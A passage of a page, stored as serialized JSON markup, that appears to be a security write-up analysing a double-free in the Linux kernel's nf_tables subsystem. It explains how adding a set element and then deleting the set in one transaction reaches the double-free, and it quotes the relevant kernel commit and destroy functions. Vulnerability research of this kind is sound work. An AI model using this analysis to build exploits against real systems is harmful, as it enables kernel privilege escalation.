g":315,"props":50493,"children":50494},{"style":635},[50495],{"type":26,"value":50376},{"type":20,"tag":315,"props":50497,"children":50498},{"style":328},[50499],{"type":26,"value":380},{"type":20,"tag":315,"props":50501,"children":50502},{"class":317,"line":383},[50503,50507],{"type":20,"tag":315,"props":50504,"children":50505},{"style":525},[50506],{"type":26,"value":37615},{"type":20,"tag":315,"props":50508,"children":50509},{"style":328},[50510],{"type":26,"value":1405},{"type":20,"tag":315,"props":50512,"children":50513},{"class":317,"line":407},[50514],{"type":20,"tag":315,"props":50515,"children":50516},{"style":328},[50517],{"type":26,"value":8718},{"type":20,"tag":315,"props":50519,"children":50520},{"class":317,"line":421},[50521,50525,50529,50533,50537,50541],{"type":20,"tag":315,"props":50522,"children":50523},{"style":635},[50524],{"type":26,"value":50367},{"type":20,"tag":315,"props":50526,"children":50527},{"style":328},[50528],{"type":26,"value":12158},{"type":20,"tag":315,"props":50530,"children":50531},{"style":635},[50532],{"type":26,"value":50376},{"type":20,"tag":315,"props":50534,"children":50535},{"style":334},[50536],{"type":26,"value":1395},{"type":20,"tag":315,"props":50538,"children":50539},{"style":541},[50540],{"type":26,"value":7455},{"type":20,"tag":315,"props":50542,"children":50543},{"style":328},[50544],{"type":26,"value":1405},{"type":20,"tag":315,"props":50546,"children":50547},{"class":317,"line":430},[50548],{"type":20,"tag":315,"props":50549,"children":50550},{"style":328},[50551],{"type":26,"value":8718},{"type":20,"tag":315,"props":50553,"children":50554},{"class":317,"line":453},[50555],{"type":20,"tag":315,"props":50556,"children":50557},{"style":328},[50558],{"type":26,"value":577},{"type":20,"tag":29,"props":50560,"children":50561},{},[50562,50564,50569,50571,50576,50578,50583,50585,50590,50592,50598,50600,50606,50608,50613],{"type":26,"value":50563},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":20,"tag":119,"props":50565,"children":50567},{"className":50566},[],[50568],{"type":26,"value":49263},{"type":26,"value":50570}," in the ",{"type":20,"tag":119,"props":50572,"children":50574},{"className":50573},[],[50575],{"type":26,"value":49271},{"type":26,"value":50577}," to make it dirty and then delete the ",{"type":20,"tag":119,"props":50579,"children":50581},{"className":50580},[],[50582],{"type":26,"value":49271},{"type":26,"value":50584},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":20,"tag":119,"props":50586,"children":50588},{"className":50587},[],[50589],{"type":26,"value":49271},{"type":26,"value":50591},"'s ",{"type":20,"tag":119,"props":50593,"children":50595},{"className":50594},[],[50596],{"type":26,"value":50597},"->commit()",{"type":26,"value":50599}," method is executed before its ",{"type":20,"tag":119,"props":50601,"children":50603},{"className":50602},[],[50604],{"type":26,"value":50605},"->destroy()",{"type":26,"value":50607}," method, then the ",{"type":20,"tag":119,"props":50609,"children":50611},{"className":50610},[],[50612],{"type":26,"value":50376},{"type":26,"value":50614}," flag will be unset, and we won't be able to trigger the double-free.",{"type":20,"tag":29,"props":50616,"children":50617},{},[50618],{"type":26,"value":50619},"Let's once again refer to the code and see how these methods are called.",{"type":20,"tag":305,"props":50621,"children":50623},{"className":14916,"code":50622,"language":1528,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET: // [1]\n nft_trans_set(trans)->dead = 1; // [2]\n list_del_rcu(&nft_trans_set(trans)->list);\n nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n trans->msg_type, GFP_KERNEL);\n break;\n case NFT_MSG_NEWSETELEM: // [3]\n[...]\n if (te->set->ops->commit &&\n list_empty(&te->set->pending_update)) {\n list_add_tail(&te->set->pending_update,\n &set_update_list);\n }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[50624],{"type":20,"tag":119,"props":50625,"children":50626},{"__ignoreMap":7},[50627,50689,50696,50703,50711,50724,50759,50793,50835,50857,50869,50882,50889,50937,50978,51018,51031,51038,51045,51052,51059,51084,51091,51104,51111,51127],{"type":20,"tag":315,"props":50628,"children":50629},{"class":317,"line":318},[50630,50634,50638,50643,50647,50651,50655,50659,50663,50667,50671,50676,50680,50685],{"type":20,"tag":315,"props":50631,"children":50632},{"style":541},[50633],{"type":26,"value":49296},{"type":20,"tag":315,"props":50635,"children":50636},{"style":541},[50637],{"type":26,"value":49425},{"type":20,"tag":315,"props":50639,"children":50640},{"style":345},[50641],{"type":26,"value":50642}," nf_tables_commit",{"type":20,"tag":315,"props":50644,"children":50645},{"style":328},[50646],{"type":26,"value":1049},{"type":20,"tag":315,"props":50648,"children":50649},{"style":541},[50650],{"type":26,"value":7800},{"type":20,"tag":315,"props":50652,"children":50653},{"style":328},[50654],{"type":26,"value":50254},{"type":20,"tag":315,"props":50656,"children":50657},{"style":334},[50658],{"type":26,"value":901},{"type":20,"tag":315,"props":50660,"children":50661},{"style":635},[50662],{"type":26,"value":50263},{"type":20,"tag":315,"props":50664,"children":50665},{"style":328},[50666],{"type":26,"value":44},{"type":20,"tag":315,"props":50668,"children":50669},{"style":541},[50670],{"type":26,"value":7800},{"type":20,"tag":315,"props":50672,"children":50673},{"style":328},[50674],{"type":26,"value":50675}," sk_buff ",{"type":20,"tag":315,"props":50677,"children":50678},{"style":334},[50679],{"type":26,"value":901},{"type":20,"tag":315,"props":50681,"children":50682},{"style":635},[50683],{"type":26,"value":50684},"skb",{"type":20,"tag":315,"props":50686,"children":50687},{"style":328},[50688],{"type":26,"value":380},{"type":20,"tag":315,"props":50690,"children":50691},{"class":317,"line":356},[50692],{"type":20,"tag":315,"props":50693,"children":50694},{"style":328},[50695],{"type":26,"value":723},{"type":20,"tag":315,"props":50697,"children":50698},{"class":317,"line":365},[50699],{"type":20,"tag":315,"props":50700,"children":50701},{"style":328},[50702],{"type":26,"value":8718},{"type":20,"tag":315,"props":50704,"children":50705},{"class":317,"line":374},[50706],{"type":20,"tag":315,"props":50707,"children":50708},{"style":328},[50709],{"type":26,"value":50710}," case NFT_MSG_DELSET:\n",{"type":20,"tag":315,"props":50712,"children":50713},{"class":317,"line":383},[50714,50719],{"type":20,"tag":315,"props":50715,"children":50716},{"style":328},[50717],{"type":26,"value":50718}," case NFT_MSG_DESTROYSET:",{"type":20,"tag":315,"props":50720,"children":50721},{"style":1071},[50722],{"type":26,"value":50723}," // [1]\n",{"type":20,"tag":315,"props":50725,"children":50726},{"class":317,"line":407},[50727,50732,50737,50742,50746,50750,50754],{"type":20,"tag":315,"props":50728,"children":50729},{"style":345},[50730],{"type":26,"value":50731}," nft_trans_set",{"type":20,"tag":315,"props":50733,"children":50734},{"style":328},[50735],{"type":26,"value":50736},"(trans)->",{"type":20,"tag":315,"props":50738,"children":50739},{"style":635},[50740],{"type":26,"value":50741},"dead",{"type":20,"tag":315,"props":50743,"children":50744},{"style":334},[50745],{"type":26,"value":1395},{"type":20,"tag":315,"props":50747,"children":50748},{"style":765},[50749],{"type":26,"value":2916},{"type":20,"tag":315,"props":50751,"children":50752},{"style":328},[50753],{"type":26,"value":47325},{"type":20,"tag":315,"props":50755,"children":50756},{"style":1071},[50757],{"type":26,"value":50758}," // [2]\n",{"type":20,"tag":315,"props":50760,"children":50761},{"class":317,"line":421},[50762,50767,50771,50775,50780,50784,50789],{"type":20,"tag":315,"props":50763,"children":50764},{"style":345},[50765],{"type":26,"value":50766}," list_del_rcu",{"type":20,"tag":315,"props":50768,"children":50769},{"style":328},[50770],{"type":26,"value":1049},{"type":20,"tag":315,"props":50772,"children":50773},{"style":334},[50774],{"type":26,"value":1490},{"type":20,"tag":315,"props":50776,"children":50777},{"style":345},[50778],{"type":26,"value":50779},"nft_trans_set",{"type":20,"tag":315,"props":50781,"children":50782},{"style":328},[50783],{"type":26,"value":50736},{"type":20,"tag":315,"props":50785,"children":50786},{"style":635},[50787],{"type":26,"value":50788},"list",{"type":20,"tag":315,"props":50790,"children":50791},{"style":328},[50792],{"type":26,"value":2214},{"type":20,"tag":315,"props":50794,"children":50795},{"class":317,"line":430},[50796,50801,50805,50809,50814,50818,50822,50826,50830],{"type":20,"tag":315,"props":50797,"children":50798},{"style":345},[50799],{"type":26,"value":50800}," nf_tables_set_notify",{"type":20,"tag":315,"props":50802,"children":50803},{"style":328},[50804],{"type":26,"value":1049},{"type":20,"tag":315,"props":50806,"children":50807},{"style":334},[50808],{"type":26,"value":1490},{"type":20,"tag":315,"props":50810,"children":50811},{"style":635},[50812],{"type":26,"value":50813},"trans",{"type":20,"tag":315,"props":50815,"children":50816},{"style":328},[50817],{"type":26,"value":12158},{"type":20,"tag":315,"props":50819,"children":50820},{"style":635},[50821],{"type":26,"value":18684},{"type":20,"tag":315,"props":50823,"children":50824},{"style":328},[50825],{"type":26,"value":44},{"type":20,"tag":315,"props":50827,"children":50828},{"style":345},[50829],{"type":26,"value":50779},{"type":20,"tag":315,"props":50831,"children":50832},{"style":328},[50833],{"type":26,"value":50834},"(trans),\n",{"type":20,"tag":315,"props":50836,"children":50837},{"class":317,"line":453},[50838,50843,50847,50852],{"type":20,"tag":315,"props":50839,"children":50840},{"style":635},[50841],{"type":26,"value":50842}," trans",{"type":20,"tag":315,"props":50844,"children":50845},{"style":328},[50846],{"type":26,"value":12158},{"type":20,"tag":315,"props":50848,"children":50849},{"style":635},[50850],{"type":26,"value":50851},"msg_type",{"type":20,"tag":315,"props":50853,"children":50854},{"style":328},[50855],{"type":26,"value":50856},", GFP_KERNEL);\n",{"type":20,"tag":315,"props":50858,"children":50859},{"class":317,"line":486},[50860,50865],{"type":20,"tag":315,"props":50861,"children":50862},{"style":525},[50863],{"type":26,"value":50864}," break",{"type":20,"tag":315,"props":50866,"children":50867},{"style":328},[50868],{"type":26,"value":1405},{"type":20,"tag":315,"props":50870,"children":50871},{"class":317,"line":499},[50872,50877],{"type":20,"tag":315,"props":50873,"children":50874},{"style":328},[50875],{"type":26,"value":50876}," case NFT_MSG_NEWSETELEM:",{"type":20,"tag":315,"props":50878,"children":50879},{"style":1071},[50880],{"type":26,"value":50881}," // [3]\n",{"type":20,"tag":315,"props":50883,"children":50884},{"class":317,"line":513},[50885],{"type":20,"tag":315,"props":50886,"children":50887},{"style":328},[50888],{"type":26,"value":8718},{"type":20,"tag":315,"props":50890,"children":50891},{"class":317,"line":521},[50892,50897,50901,50906,50910,50914,50918,50923,50927,50932],{"type":20,"tag":315,"props":50893,"children":50894},{"style":525},[50895],{"type":26,"value":50896}," if",{"type":20,"tag":315,"props":50898,"children":50899},{"style":328},[50900],{"type":26,"value":463},{"type":20,"tag":315,"props":50902,"children":50903},{"style":635},[50904],{"type":26,"value":50905},"te",{"type":20,"tag":315,"props":50907,"children":50908},{"style":328},[50909],{"type":26,"value":12158},{"type":20,"tag":315,"props":50911,"children":50912},{"style":635},[50913],{"type":26,"value":49271},{"type":20,"tag":315,"props":50915,"children":50916},{"style":328},[50917],{"type":26,"value":12158},{"type":20,"tag":315,"props":50919,"children":50920},{"style":635},[50921],{"type":26,"value":50922},"ops",{"type":20,"tag":315,"props":50924,"children":50925},{"style":328},[50926],{"type":26,"value":12158},{"type":20,"tag":315,"props":50928,"children":50929},{"style":635},[50930],{"type":26,"value":50931},"commit",{"type":20,"tag":315,"props":50933,"children":50934},{"style":334},[50935],{"type":26,"value":50936}," &&\n",{"type":20,"tag":315,"props":50938,"children":50939},{"class":317,"line":552},[50940,50945,50949,50953,50957,50961,50965,50969,50974],{"type":20,"tag":315,"props":50941,"children":50942},{"style":345},[50943],{"type":26,"value":50944}," list_empty",{"type":20,"tag":315,"props":50946,"children":50947},{"style":328},[50948],{"type":26,"value":1049},{"type":20,"tag":315,"props":50950,"children":50951},{"style":334},[50952],{"type":26,"value":1490},{"type":20,"tag":315,"props":50954,"children":50955},{"style":635},[50956],{"type":26,"value":50905},{"type":20,"tag":315,"props":50958,"children":50959},{"style":328},[50960],{"type":26,"value":12158},{"type":20,"tag":315,"props":50962,"children":50963},{"style":635},[50964],{"type":26,"value":49271},{"type":20,"tag":315,"props":50966,"children":50967},{"style":328},[50968],{"type":26,"value":12158},{"type":20,"tag":315,"props":50970,"children":50971},{"style":635},[50972],{"type":26,"value":50973},"pending_update",{"type":20,"tag":315,"props":50975,"children":50976},{"style":328},[50977],{"type":26,"value":33609},{"type":20,"tag":315,"props":50979,"children":50980},{"class":317,"line":571},[50981,50986,50990,50994,50998,51002,51006,51010,51014],{"type":20,"tag":315,"props":50982,"children":50983},{"style":345},[50984],{"type":26,"value":50985}," list_add_tail",{"type":20,"tag":315,"props":50987,"children":50988},{"style":328},[50989],{"type":26,"value":1049},{"type":20,"tag":315,"props":50991,"children":50992},{"style":334},[50993],{"type":26,"value":1490},{"type":20,"tag":315,"props":50995,"children":50996},{"style":635},[50997],{"type":26,"value":50905},{"type":20,"tag":315,"props":50999,"children":51000},{"style":328},[51001],{"type":26,"value":12158},{"type":20,"tag":315,"props":51003,"children":51004},{"style":635},[51005],{"type":26,"value":49271},{"type":20,"tag":315,"props":51007,"children":51008},{"style":328},[51009],{"type":26,"value":12158},{"type":20,"tag":315,"props":51011,"children":51012},{"style":635},[51013],{"type":26,"value":50973},{"type":20,"tag":315,"props":51015,"children":51016},{"style":328},[51017],{"type":26,"value":643},{"type":20,"tag":315,"props":51019,"children":51020},{"class":317,"line":2031},[51021,51026],{"type":20,"tag":315,"props":51022,"children":51023},{"style":334},[51024],{"type":26,"value":51025}," &",{"type":20,"tag":315,"props":51027,"children":51028},{"style":328},[51029],{"type":26,"value":51030},"set_update_list);\n",{"type":20,"tag":315,"props":51032,"children":51033},{"class":317,"line":2053},[51034],{"type":20,"tag":315,"props":51035,"children":51036},{"style":328},[51037],{"type":26,"value":33163},{"type":20,"tag":315,"props":51039,"children":51040},{"class":317,"line":2061},[51041],{"type":20,"tag":315,"props":51042,"children":51043},{"style":328},[51044],{"type":26,"value":8718},{"type":20,"tag":315,"props":51046,"children":51047},{"class":317,"line":2070},[51048],{"type":20,"tag":315,"props":51049,"children":51050},{"style":328},[51051],{"type":26,"value":7995},{"type":20,"tag":315,"props":51053,"children":51054},{"class":317,"line":2139},[51055],{"type":20,"tag":315,"props":51056,"children":51057},{"emptyLinePlaceholder":15},[51058],{"type":26,"value":427},{"type":20,"tag":315,"props":51060,"children":51061},{"class":317,"line":2147},[51062,51067,51071,51075,51080],{"type":20,"tag":315,"props":51063,"children":51064},{"style":345},[51065],{"type":26,"value":51066}," nft_set_commit_update",{"type":20,"tag":315,"props":51068,"children":51069},{"style":328},[51070],{"type":26,"value":1049},{"type":20,"tag":315,"props":51072,"children":51073},{"style":334},[51074],{"type":26,"value":1490},{"type":20,"tag":315,"props":51076,"children":51077},{"style":635},[51078],{"type":26,"value":51079},"set_update_list",{"type":20,"tag":315,"props":51081,"children":51082},{"style":328},[51083],{"type":26,"value":2214},{"type":20,"tag":315,"props":51085,"children":51086},{"class":317,"line":2177},[51087],{"type":20,"tag":315,"props":51088,"children":51089},{"style":328},[51090],{"type":26,"value":8718},{"type":20,"tag":315,"props":51092,"children":51093},{"class":317,"line":2185},[51094,51099],{"type":20,"tag":315,"props":51095,"children":51096},{"style":345},[51097],{"type":26,"value":51098}," nf_tables_commit_release",{"type":20,"tag":315,"props":51100,"children":51101},{"style":328},[51102],{"type":26,"value":51103},"(net);\n",{"type":20,"tag":315,"props":51105,"children":51106},{"class":317,"line":2217},[51107],{"type":20,"tag":315,"props":51108,"children":51109},{"emptyLinePlaceholder":15},[51110],{"type":26,"value":427},{"type":20,"tag":315,"props":51112,"children":51113},{"class":317,"line":2225},[51114,51119,51123],{"type":20,"tag":315,"props":51115,"children":51116},{"style":525},[51117],{"type":26,"value":51118}," return",{"type":20,"tag":315,"props":51120,"children":51121},{"style":765},[51122],{"type":26,"value":985},{"type":20,"tag":315,"props":51124,"children":51125},{"style":328},[51126],{"type":26,"value":1405},{"type":20,"tag":315,"props":51128,"children":51129},{"class":317,"line":2285},[51130],{"type":20,"tag":315,"props":51131,"children":51132},{"style":328},[51133],{"type":26,"value":577},{"type":20,"tag":29,"props":51135,"children":51136},{},[51137,51138,51144,51146,51151],{"type":26,"value":15015},{"type":20,"tag":119,"props":51139,"children":51141},{"className":51140},[],[51142],{"type":26,"value":51143},"nft_set_commit_update()",{"type":26,"value":51145}," function in the code above will call the ",{"type":20,"tag":119,"props":51147,"children":51149},{"className":51148},[],[51150],{"type":26,"value":50597},{"type":26,"value":51152}," method for any objects that were marked as pending an update.",{"type":20,"tag":305,"props":51154,"children":51156},{"className":14916,"code":51155,"language":1528,"meta":7,"style":7},"static void nft_set_commit_update(struct list_head *set_update_list)\n{\n struct nft_set *set, *next;\n\n list_for_each_entry_safe(set, next, set_update_list, pending_update) {\n list_del_init(&set->pending_update);\n\n if (!set->ops->commit || set->dead) // [4]\n continue;\n\n set->ops->commit(set); // [5]\n }\n}\n",[51157],{"type":20,"tag":119,"props":51158,"children":51159},{"__ignoreMap":7},[51160,51200,51207,51236,51243,51256,51288,51295,51356,51367,51374,51408,51415],{"type":20,"tag":315,"props":51161,"children":51162},{"class":317,"line":318},[51163,51167,51171,51175,51179,51183,51188,51192,51196],{"type":20,"tag":315,"props":51164,"children":51165},{"style":541},[51166],{"type":26,"value":49296},{"type":20,"tag":315,"props":51168,"children":51169},{"style":541},[51170],{"type":26,"value":49301},{"type":20,"tag":315,"props":51172,"children":51173},{"style":345},[51174],{"type":26,"value":51066},{"type":20,"tag":315,"props":51176,"children":51177},{"style":328},[51178],{"type":26,"value":1049},{"type":20,"tag":315,"props":51180,"children":51181},{"style":541},[51182],{"type":26,"value":7800},{"type":20,"tag":315,"props":51184,"children":51185},{"style":328},[51186],{"type":26,"value":51187}," list_head ",{"type":20,"tag":315,"props":51189,"children":51190},{"style":334},[51191],{"type":26,"value":901},{"type":20,"tag":315,"props":51193,"children":51194},{"style":635},[51195],{"type":26,"value":51079},{"type":20,"tag":315,"props":51197,"children":51198},{"style":328},[51199],{"type":26,"value":380},{"type":20,"tag":315,"props":51201,"children":51202},{"class":317,"line":356},[51203],{"type":20,"tag":315,"props":51204,"children":51205},{"style":328},[51206],{"type":26,"value":723},{"type":20,"tag":315,"props":51208,"children":51209},{"class":317,"line":365},[51210,51214,51218,51222,51227,51231],{"type":20,"tag":315,"props":51211,"children":51212},{"style":541},[51213],{"type":26,"value":19555},{"type":20,"tag":315,"props":51215,"children":51216},{"style":328},[51217],{"type":26,"value":49351},{"type":20,"tag":315,"props":51219,"children":51220},{"style":334},[51221],{"type":26,"value":901},{"type":20,"tag":315,"props":51223,"children":51224},{"style":328},[51225],{"type":26,"value":51226},"set, ",{"type":20,"tag":315,"props":51228,"children":51229},{"style":334},[51230],{"type":26,"value":901},{"type":20,"tag":315,"props":51232,"children":51233},{"style":328},[51234],{"type":26,"value":51235},"next;\n",{"type":20,"tag":315,"props":51237,"children":51238},{"class":317,"line":374},[51239],{"type":20,"tag":315,"props":51240,"children":51241},{"emptyLinePlaceholder":15},[51242],{"type":26,"value":427},{"type":20,"tag":315,"props":51244,"children":51245},{"class":317,"line":383},[51246,51251],{"type":20,"tag":315,"props":51247,"children":51248},{"style":345},[51249],{"type":26,"value":51250}," list_for_each_entry_safe",{"type":20,"tag":315,"props":51252,"children":51253},{"style":328},[51254],{"type":26,"value":51255},"(set, next, set_update_list, pending_update) {\n",{"type":20,"tag":315,"props":51257,"children":51258},{"class":317,"line":407},[51259,51264,51268,51272,51276,51280,51284],{"type":20,"tag":315,"props":51260,"children":51261},{"style":345},[51262],{"type":26,"value":51263}," list_del_init",{"type":20,"tag":315,"props":51265,"children":51266},{"style":328},[51267],{"type":26,"value":1049},{"type":20,"tag":315,"props":51269,"children":51270},{"style":334},[51271],{"type":26,"value":1490},{"type":20,"tag":315,"props":51273,"children":51274},{"style":635},[51275],{"type":26,"value":49271},{"type":20,"tag":315,"props":51277,"children":51278},{"style":328},[51279],{"type":26,"value":12158},{"type":20,"tag":315,"props":51281,"children":51282},{"style":635},[51283],{"type":26,"value":50973},{"type":20,"tag":315,"props":51285,"children":51286},{"style":328},[51287],{"type":26,"value":2214},{"type":20,"tag":315,"props":51289,"children":51290},{"class":317,"line":421},[51291],{"type":20,"tag":315,"props":51292,"children":51293},{"emptyLinePlaceholder":15},[51294],{"type":26,"value":427},{"type":20,"tag":315,"props":51296,"children":51297},{"class":317,"line":430},[51298,51302,51306,51310,51314,51318,51322,51326,51330,51334,51339,51343,51347,51351],{"type":20,"tag":315,"props":51299,"children":51300},{"style":525},[51301],{"type":26,"value":29809},{"type":20,"tag":315,"props":51303,"children":51304},{"style":328},[51305],{"type":26,"value":463},{"type":20,"tag":315,"props":51307,"children":51308},{"style":334},[51309],{"type":26,"value":19025},{"type":20,"tag":315,"props":51311,"children":51312},{"style":635},[51313],{"type":26,"value":49271},{"type":20,"tag":315,"props":51315,"children":51316},{"style":328},[51317],{"type":26,"value":12158},{"type":20,"tag":315,"props":51319,"children":51320},{"style":635},[51321],{"type":26,"value":50922},{"type":20,"tag":315,"props":51323,"children":51324},{"style":328},[51325],{"type":26,"value":12158},{"type":20,"tag":315,"props":51327,"children":51328},{"style":635},[51329],{"type":26,"value":50931},{"type":20,"tag":315,"props":51331,"children":51332},{"style":334},[51333],{"type":26,"value":22113},{"type":20,"tag":315,"props":51335,"children":51336},{"style":635},[51337],{"type":26,"value":51338}," set",{"type":20,"tag":315,"props":51340,"children":51341},{"style":328},[51342],{"type":26,"value":12158},{"type":20,"tag":315,"props":51344,"children":51345},{"style":635},[51346],{"type":26,"value":50741},{"type":20,"tag":315,"props":51348,"children":51349},{"style":328},[51350],{"type":26,"value":1509},{"type":20,"tag":315,"props":51352,"children":51353},{"style":1071},[51354],{"type":26,"value":51355}," // [4]\n",{"type":20,"tag":315,"props":51357,"children":51358},{"class":317,"line":453},[51359,51363],{"type":20,"tag":315,"props":51360,"children":51361},{"style":525},[51362],{"type":26,"value":49743},{"type":20,"tag":315,"props":51364,"children":51365},{"style":328},[51366],{"type":26,"value":1405},{"type":20,"tag":315,"props":51368,"children":51369},{"class":317,"line":486},[51370],{"type":20,"tag":315,"props":51371,"children":51372},{"emptyLinePlaceholder":15},[51373],{"type":26,"value":427},{"type":20,"tag":315,"props":51375,"children":51376},{"class":317,"line":499},[51377,51382,51386,51390,51394,51398,51403],{"type":20,"tag":315,"props":51378,"children":51379},{"style":635},[51380],{"type":26,"value":51381}," set",{"type":20,"tag":315,"props":51383,"children":51384},{"style":328},[51385],{"type":26,"value":12158},{"type":20,"tag":315,"props":51387,"children":51388},{"style":635},[51389],{"type":26,"value":50922},{"type":20,"tag":315,"props":51391,"children":51392},{"style":328},[51393],{"type":26,"value":12158},{"type":20,"tag":315,"props":51395,"children":51396},{"style":345},[51397],{"type":26,"value":50931},{"type":20,"tag":315,"props":51399,"children":51400},{"style":328},[51401],{"type":26,"value":51402},"(set);",{"type":20,"tag":315,"props":51404,"children":51405},{"style":1071},[51406],{"type":26,"value":51407}," // [5]\n",{"type":20,"tag":315,"props":51409,"children":51410},{"class":317,"line":513},[51411],{"type":20,"tag":315,"props":51412,"children":51413},{"style":328},[51414],{"type":26,"value":7995},{"type":20,"tag":315,"props":51416,"children":51417},{"class":317,"line":521},[51418],{"type":20,"tag":315,"props":51419,"children":51420},{"style":328},[51421],{"type":26,"value":577},{"type":20,"tag":29,"props":51423,"children":51424},{},[51425,51427,51433,51435,51440,51441,51446],{"type":26,"value":51426},"Later on, the ",{"type":20,"tag":119,"props":51428,"children":51430},{"className":51429},[],[51431],{"type":26,"value":51432},"nf_tables_commit_release()",{"type":26,"value":51434}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":20,"tag":119,"props":51436,"children":51438},{"className":51437},[],[51439],{"type":26,"value":49271},{"type":26,"value":50591},{"type":20,"tag":119,"props":51442,"children":51444},{"className":51443},[],[51445],{"type":26,"value":50605},{"type":26,"value":51447}," method.",{"type":20,"tag":305,"props":51449,"children":51451},{"className":14916,"code":51450,"language":1528,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n nft_trans_list_del(trans);\n nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[51452],{"type":20,"tag":119,"props":51453,"children":51454},{"__ignoreMap":7},[51455,51494,51501,51508,51529,51536,51543,51550,51591,51598,51605,51626,51639,51651,51658,51665,51672,51713,51720,51748,51755,51768,51780,51821,51828,51835,51842,51900,51907,51914,51943,51950],{"type":20,"tag":315,"props":51456,"children":51457},{"class":317,"line":318},[51458,51462,51466,51470,51474,51478,51482,51486,51490],{"type":20,"tag":315,"props":51459,"children":51460},{"style":541},[51461],{"type":26,"value":49296},{"type":20,"tag":315,"props":51463,"children":51464},{"style":541},[51465],{"type":26,"value":49301},{"type":20,"tag":315,"props":51467,"children":51468},{"style":345},[51469],{"type":26,"value":51098},{"type":20,"tag":315,"props":51471,"children":51472},{"style":328},[51473],{"type":26,"value":1049},{"type":20,"tag":315,"props":51475,"children":51476},{"style":541},[51477],{"type":26,"value":7800},{"type":20,"tag":315,"props":51479,"children":51480},{"style":328},[51481],{"type":26,"value":50254},{"type":20,"tag":315,"props":51483,"children":51484},{"style":334},[51485],{"type":26,"value":901},{"type":20,"tag":315,"props":51487,"children":51488},{"style":635},[51489],{"type":26,"value":50263},{"type":20,"tag":315,"props":51491,"children":51492},{"style":328},[51493],{"type":26,"value":380},{"type":20,"tag":315,"props":51495,"children":51496},{"class":317,"line":356},[51497],{"type":20,"tag":315,"props":51498,"children":51499},{"style":328},[51500],{"type":26,"value":723},{"type":20,"tag":315,"props":51502,"children":51503},{"class":317,"line":365},[51504],{"type":20,"tag":315,"props":51505,"children":51506},{"style":328},[51507],{"type":26,"value":8718},{"type":20,"tag":315,"props":51509,"children":51510},{"class":317,"line":374},[51511,51516,51520,51524],{"type":20,"tag":315,"props":51512,"children":51513},{"style":345},[51514],{"type":26,"value":51515}," schedule_work",{"type":20,"tag":315,"props":51517,"children":51518},{"style":328},[51519],{"type":26,"value":1049},{"type":20,"tag":315,"props":51521,"children":51522},{"style":334},[51523],{"type":26,"value":1490},{"type":20,"tag":315,"props":51525,"children":51526},{"style":328},[51527],{"type":26,"value":51528},"trans_destroy_work);\n",{"type":20,"tag":315,"props":51530,"children":51531},{"class":317,"line":383},[51532],{"type":20,"tag":315,"props":51533,"children":51534},{"style":328},[51535],{"type":26,"value":8718},{"type":20,"tag":315,"props":51537,"children":51538},{"class":317,"line":407},[51539],{"type":20,"tag":315,"props":51540,"children":51541},{"style":328},[51542],{"type":26,"value":577},{"type":20,"tag":315,"props":51544,"children":51545},{"class":317,"line":421},[51546],{"type":20,"tag":315,"props":51547,"children":51548},{"style":328},[51549],{"type":26,"value":8718},{"type":20,"tag":315,"props":51551,"children":51552},{"class":317,"line":430},[51553,51557,51561,51566,51570,51574,51579,51583,51587],{"type":20,"tag":315,"props":51554,"children":51555},{"style":541},[51556],{"type":26,"value":49296},{"type":20,"tag":315,"props":51558,"children":51559},{"style":541},[51560],{"type":26,"value":49301},{"type":20,"tag":315,"props":51562,"children":51563},{"style":345},[51564],{"type":26,"value":51565}," nf_tables_trans_destroy_work",{"type":20,"tag":315,"props":51567,"children":51568},{"style":328},[51569],{"type":26,"value":1049},{"type":20,"tag":315,"props":51571,"children":51572},{"style":541},[51573],{"type":26,"value":7800},{"type":20,"tag":315,"props":51575,"children":51576},{"style":328},[51577],{"type":26,"value":51578}," work_struct ",{"type":20,"tag":315,"props":51580,"children":51581},{"style":334},[51582],{"type":26,"value":901},{"type":20,"tag":315,"props":51584,"children":51585},{"style":635},[51586],{"type":26,"value":47823},{"type":20,"tag":315,"props":51588,"children":51589},{"style":328},[51590],{"type":26,"value":380},{"type":20,"tag":315,"props":51592,"children":51593},{"class":317,"line":453},[51594],{"type":20,"tag":315,"props":51595,"children":51596},{"style":328},[51597],{"type":26,"value":723},{"type":20,"tag":315,"props":51599,"children":51600},{"class":317,"line":486},[51601],{"type":20,"tag":315,"props":51602,"children":51603},{"style":328},[51604],{"type":26,"value":8718},{"type":20,"tag":315,"props":51606,"children":51607},{"class":317,"line":499},[51608,51612,51617,51621],{"type":20,"tag":315,"props":51609,"children":51610},{"style":345},[51611],{"type":26,"value":51250},{"type":20,"tag":315,"props":51613,"children":51614},{"style":328},[51615],{"type":26,"value":51616},"(trans, next, ",{"type":20,"tag":315,"props":51618,"children":51619},{"style":334},[51620],{"type":26,"value":1490},{"type":20,"tag":315,"props":51622,"children":51623},{"style":328},[51624],{"type":26,"value":51625},"head, list) {\n",{"type":20,"tag":315,"props":51627,"children":51628},{"class":317,"line":513},[51629,51634],{"type":20,"tag":315,"props":51630,"children":51631},{"style":345},[51632],{"type":26,"value":51633}," nft_trans_list_del",{"type":20,"tag":315,"props":51635,"children":51636},{"style":328},[51637],{"type":26,"value":51638},"(trans);\n",{"type":20,"tag":315,"props":51640,"children":51641},{"class":317,"line":521},[51642,51647],{"type":20,"tag":315,"props":51643,"children":51644},{"style":345},[51645],{"type":26,"value":51646}," 